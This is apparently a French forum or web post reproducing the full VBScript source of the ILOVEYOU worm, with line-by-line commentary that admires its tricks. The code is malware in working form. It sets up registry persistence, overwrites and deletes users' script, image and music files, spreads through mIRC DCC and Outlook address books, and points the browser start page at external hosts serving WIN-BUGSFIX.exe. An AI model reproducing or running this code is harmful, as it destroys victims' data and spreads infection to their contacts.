Attention : Je diffuse le code source d\'I Love you pour comprendre les fonctions utilisables en VBS (très bon exemple) mais pas pour reproduire le virus et de le renvoyer ... En tous les cas is vous faites des bétises avec se code je ne serais pas responsible de vos actes. Maintenant je vais présenter le virus I Love You avec les détails des actions qu\'il effectue. \'On se présente pour les piqueurs de sources ... Rem barok -loveletter(vbe) Rem by: spyder / ispyder@mail.com / @GRAMMERSoft Rem Group / Manila,Philippines \'Si il y a une erreur sur une fonction on la saute et on lance la suite (on fais pas tout planter) On Error Resume Next \'Déclaration de toutes les variables pour la suite du prog Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq = \"\" ctr = 0 \'On crée un un object qui correspond au contenu de ce fichier VBS Set fso = CreateObject(\"Scripting.FileSystemObject\") Set file = fso.OpenTextFile(WScript.ScriptFullName, 1) vbscopy = file.ReadAll main() Sub main() On Error Resume Next Dim wscr, rr \'Création des Clef dans le registre Set wscr = CreateObject(\"WScript.Shell\") rr = wscr.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting _ \\Host\\Settings\\Timeout\") If (rr >= 1) Then wscr.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Scripting\" Host\\Settings\\Timeout\",0,\"REG_DWORD\" End If Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) \'On lit le contenu du fichier VBS et on le copie ds le rep système (MSKernel32.vbs et LOVE-LETTER-FOR-YOU.TXT.vbs) et dans le rep windows (Win32DLL.vbs). Tous les fichiers son identiques mais c\'est en cas que le mec soit mi-newbie et qu\'il arrive en suppr 1 :) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&\"\\MSKernel32.vbs\") c.Copy(dirwin&\"\\Win32DLL.vbs\") c.Copy(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\") regruns() html() spreadtoemail() listadriv() End Sub Sub regruns() On Error Resume Next Dim num, downread \'Maintenant que le fichier est copié un peu partout ds le système on va le lancer au démarrage de Win histoire de relancer le procésus si le mec à fait RESET ! regcreate \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\Run\\MSKernel32\",dirsystem&\"\\MSKernel32.vbs\" regcreate \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\RunServices \\Win32DLL\",dirwin&\"\\Win32DLL.vbs\" \'On va maintenant s\'assurer que tous les fichier que le mec va downloader s\'enregistrent dans C:\\ downread = \"\" downread=regget(\"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Download Directory\") If (downread = \"\") Then downread = \"c:\\\" End If \'Je sais pas trop ce qui fous .... If (fileexist(dirsystem&\"\\WinFAT32.exe\")=1) Then Randomize num = Int((4 * Rnd) + 1) If num = 1 Then \'On change la page d\'accueil avec un bon système : si on efface un fichier .exe sur un serveur il ouvre ceux de rechange, ingénieux, non ? regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\" Page\",\"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTF wetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe\\\" ElseIf num = 2 Then regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\" Page\",\"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUI yqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe\" ElseIf num = 3 Then regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\" Page\",\"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEk bopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe\" ElseIf num = 4 Then regcreate \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start\" Page\",\"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBh AFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnma dshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe\" End If End If If (fileexist(downread&\"\\WIN-BUGSFIX.exe\")=0) Then regcreate \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WIN-BUGSFIX\",downread&\"\\WIN-BUGSFIX.exe\" regcreate \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet\" Explorer\\Main\\Start Page\",\"about:blank\" End If End Sub Allez on s\'attaque à l\'infection des fichiers Sub listadriv() On Error Resume Next Dim d, dc, s Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then folderlist(d.path&\"\\\") End If Next listadriv = s End Sub Sub infectfiles(folderspec) On Error Resume Next Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = LCase(ext) s = LCase(f1.Name) \'Il change le contenu de tous les fichiers VBS du DD par le contenu du virus :) If (ext = \"vbs\") Or (ext = \"vbe\") Then Set ap = fso.OpenTextFile(f1.Path, 2, True) ap.write vbscopy ap.Close \'Si les fichiers sont en .js, .jse, .css, .wsh, .sct ou .hta il les supprime, reprend leur nom et met le nom de l\'ancien fichier avec l\'extention .vbs :! ElseIf(ext=\"js\") Or (ext=\"jse\") Or (ext=\"css\") Or (ext=\"wsh\") Or (ext=\"sct\") Or (ext=\"hta\") Then Set ap = fso.OpenTextFile(f1.Path, 2, True) ap.write vbscopy ap.Close bname = fso.GetBaseName(f1.Path) Set cop = fso.GetFile(f1.Path) cop.copy(folderspec&\"\\\"&bname&\".vbs\") fso.DeleteFile (f1.Path) ElseIf (ext = \"jpg\") Or (ext = \"jpeg\") Then Set ap = fso.OpenTextFile(f1.Path, 2, True) ap.write vbscopy ap.Close Set cop = fso.GetFile(f1.Path) cop.copy(f1.path&\".vbs\") fso.DeleteFile (f1.Path) ElseIf (ext = \"mp3\") Or (ext = \"mp2\") Then Set mp3=fso.CreateTextFile(f1.path&\".vbs\") mp3.write vbscopy mp3.Close Set att = fso.GetFile(f1.Path) att.Attributes = att.Attributes + 2 End If If (eq <> folderspec) Then \'Now il s\'attaque au premier logiciel de chat le plus utilisé : mIRC. Quand il a trouvé ou il est il va prendre script.ini pour écrire dedans un petit script :) If (s=\"mirc32.exe\") Or (s=\"mlink32.exe\") Or (s=\"mirc.ini\") Or (s=\"script.ini\") Or (s=\"mirc.hlp\") Then Set scriptini=fso.CreateTextFile(folderspec&\"\\script.ini\") \'Now quand la victime est sur un chan elle envoi le virus à toutes les personnes présentes sous forme de LOVE-LETTER-FOR-YOU.HTM en DCC, décidément falait y penser .... scriptini.WriteLine \"[script]\" scriptini.WriteLine \";mIRC Script\" scriptini.WriteLine \"; Please dont edit this script... mIRC will corrupt,\" If mIRC will\" scriptini.WriteLine \" corrupt... WINDOWS will affect and will not run\" correctly.thanks \"\" scriptini.WriteLine \";\" scriptini.WriteLine \";Khaled Mardam-Bey\" scriptini.WriteLine \";http://www.mirc.com\" scriptini.WriteLine \";\" scriptini.WriteLine \"n0=on 1:JOIN:#:{\" scriptini.WriteLine \"n1= /if ( $nick == $me ) { halt }\" scriptini.WriteLine \"n2= /.dcc send $nick\" \"&dirsystem&\"\\LOVE-LETTER-For-YOU.HTM\" scriptini.WriteLine \"n3=}\" scriptini.Close \'Le script mIRC est pas dur à comprendre donc je passe les détails eq = folderspec End If End If Next End Sub Sub folderlist(folderspec) On Error Resume Next Dim f, f1, sf Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf infectfiles (f1.Path) folderlist (f1.Path) Next End Sub Sub regcreate(regkey, regvalue) Set regedit = CreateObject(\"WScript.Shell\") regedit.RegWrite regkey, regvalue End Sub Function regget(value) Set regedit = CreateObject(\"WScript.Shell\") regget = regedit.RegRead(value) End Function Function fileexist(filespec) On Error Resume Next Dim msg If (fso.FileExists(filespec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function Function folderexist(folderspec) On Error Resume Next Dim msg If (fso.GetFolderExists(folderspec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function Sub spreadtoemail() On Error Resume Next Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad \'Bon j\'ai passé quelqes trucs, mais j\'ai deja expliqué comment ça marche :) On regarde un truc bien mieux : Outlook ! \'Maintenant que le virus à ravagé la moitié des fichiers du Disque il va se renvoyer à tous les membres du carnet d\'adresse de la victime et oui si les membres de son carnet la connaisent ils vont lui faire confiance et donc ouvrir le fichier joint Sympa le petit virus :) Set regedit = CreateObject(\"WScript.Shell\") Set out = WScript.CreateObject(\"Outlook.Application\") Set mapi = out.GetNameSpace(\"MAPI\") For ctrlists = 1 To mapi.AddressLists.Count Set a = mapi.AddressLists(ctrlists) x = 1 regv = regedit.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\" & a) If (regv = \"\") Then regv = 1 End If If (Int(a.AddressEntries.Count) > Int(regv)) Then For ctrentries = 1 To a.AddressEntries.Count malead = a.AddressEntries(x) regad = \"\" regad = regedit.RegRead(\"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\" & malead) If (regad = \"\") Then Set male = out.CreateItem(0) male.Recipients.Add (malead) male.Subject = \"ILOVEYOU\" male.Body = vbCrLf&\"kindly check the attached LOVELETTER coming from me.\" male.Attachments.Add(dirsystem&\"\\LOVE-LETTER-FOR-YOU.TXT.vbs\") male.Send regedit.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&malead,1,\"REG_DWORD\" End If x = x + 1 Next regedit.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&a,a.AddressEntries.Count Else regedit.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\\"&a,a.AddressEntries.Count End If Next Set out = Nothing Set mapi = Nothing End Sub \'Bon la javoue que j\'ai du man à suivre tout .... c\'est un peu du nimporte quoi ! Sub html() On Error Resume Next Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6 dta1 = \"LOVELETTER - HTML<?-?TITLE><META\" NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>\"&vbcrlf& _ \"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>\"&vbcrlf& _ \"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>\"&vbcrlf& _ \"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-For-YOU.HTM#-#,#-#main#-#)@-@ \"&vbcrlf& _ \"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>\"&vbcrlf& _ \"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button To Enable ActiveX<?-?p>\"&vbcrlf& _ \"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@<----------z--------------------z---------->?-?MARQUEE< \"&vbcrlf& _ \"<?-?BODY><?-?HTML>\"&vbCrLf& _ \"<SCRIPT language=@-@JScript@-@>\"&vbCrLf& _ \"<!--?-??-?\"&vbCrLf& _ \"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}\"&vbCrLf& _ \"?-??-?-->\"&vbCrLf& _ \"<?-?SCRIPT>\"&vbCrLf& _ \"<SCRIPT LANGUAGE=@-@VBScript@-@>\"&vbCrLf& _ \"<!--\"&vbCrLf& _ \"on error resume next\"&vbCrLf& _ \"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit\"&vbCrLf& _ \"aw=1\"&vbCrLf& _ \"code=\" dta2=\"set fso=CreateObject(@-@Scripting.FileSystemObject@-@)\"&vbCrLf& _ \"set dirsystem=fso.GetSpecialFolder(1)\"&vbCrLf& _ \"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))\"&vbCrLf& _ \"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))\"&vbCrLf& _ \"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))\"&vbCrLf& _ \"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)\"&vbCrLf& _ \"wri.write code4\"&vbCrLf& _ \"wri.close\"&vbCrLf& _ \"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then\"&vbCrLf& _ \"if (err.number=424) then\"&vbCrLf& _ \"aw=0\"&vbCrLf& _ \"end if\"&vbCrLf& _ \"if (aw=1) then\"&vbCrLf& _ \"document.write @-@ERROR: can#-#t initialize ActiveX@-@\"&vbCrLf& _ \"window.close\"&vbCrLf& _ \"end if\"&vbCrLf& _ \"end if\"&vbCrLf& _ \"Set regedit = CreateObject(@-@WScript.Shell@-@)\"&vbCrLf& _ \"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows ^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^ MSKernel32.vbs@-@\"&vbCrLf& _ \"?-??-?-->\"&vbCrLf& _ \"<?-?SCRIPT>\" dt1 = Replace(dta1, Chr(35) & Chr(45) & Chr(35), \"\'\") dt1 = Replace(dt1, Chr(64) & Chr(45) & Chr(64), \"\"\"\") dt4 = Replace(dt1, Chr(63) & Chr(45) & Chr(63), \"/\") dt5 = Replace(dt4, Chr(94) & Chr(45) & Chr(94), \"\\\") dt2 = Replace(dta2, Chr(35) & Chr(45) & Chr(35), \"\'\") dt2 = Replace(dt2, Chr(64) & Chr(45) & Chr(64), \"\"\"\") dt3 = Replace(dt2, Chr(63) & Chr(45) & Chr(63), \"/\") dt6 = Replace(dt3, Chr(94) & Chr(45) & Chr(94), \"\\\") Set fso = CreateObject(\"Scripting.FileSystemObject\") Set c = fso.OpenTextFile(WScript.ScriptFullName, 1) lines = Split(c.ReadAll, vbCrLf) l1 = UBound(lines) For n = 0 To UBound(lines) lines(n) = Replace(lines(n), \"\'\", Chr(91) + Chr(45) + Chr(91)) lines(n) = Replace(lines(n), \"\"\"\", Chr(93) + Chr(45) + Chr(93)) lines(n) = Replace(lines(n), \"\\\", Chr(37) + Chr(45) + Chr(37)) If (l1 = n) Then lines(n) = Chr(34) + lines(n) + Chr(34) Else lines(n) = Chr(34) + lines(n) + Chr(34) & \"&vbcrlf& _\" End If Next Set b = fso.CreateTextFile(dirsystem + \"\\LOVE-LETTER-FOR-YOU.HTM\") b.Close Set d = fso.OpenTextFile(dirsystem + \"LOVE-LETTER-FOR-YOU.HTM\", 2) d.write dt5 d.write Join(lines, vbCrLf) d.write vbCrLf d.write dt6 d.Close End Sub Cet étudiant philippin a quand-même fait un bon boulot, domage qui se soit fait capturer, je pense qu\'un mec comme ça peux bien aider de gros sites ou des sociétés pour leur sécuriser leur système. Quand l\'état le comprandra ça sera deja mieux car les failles les plus exploiter sont simples ....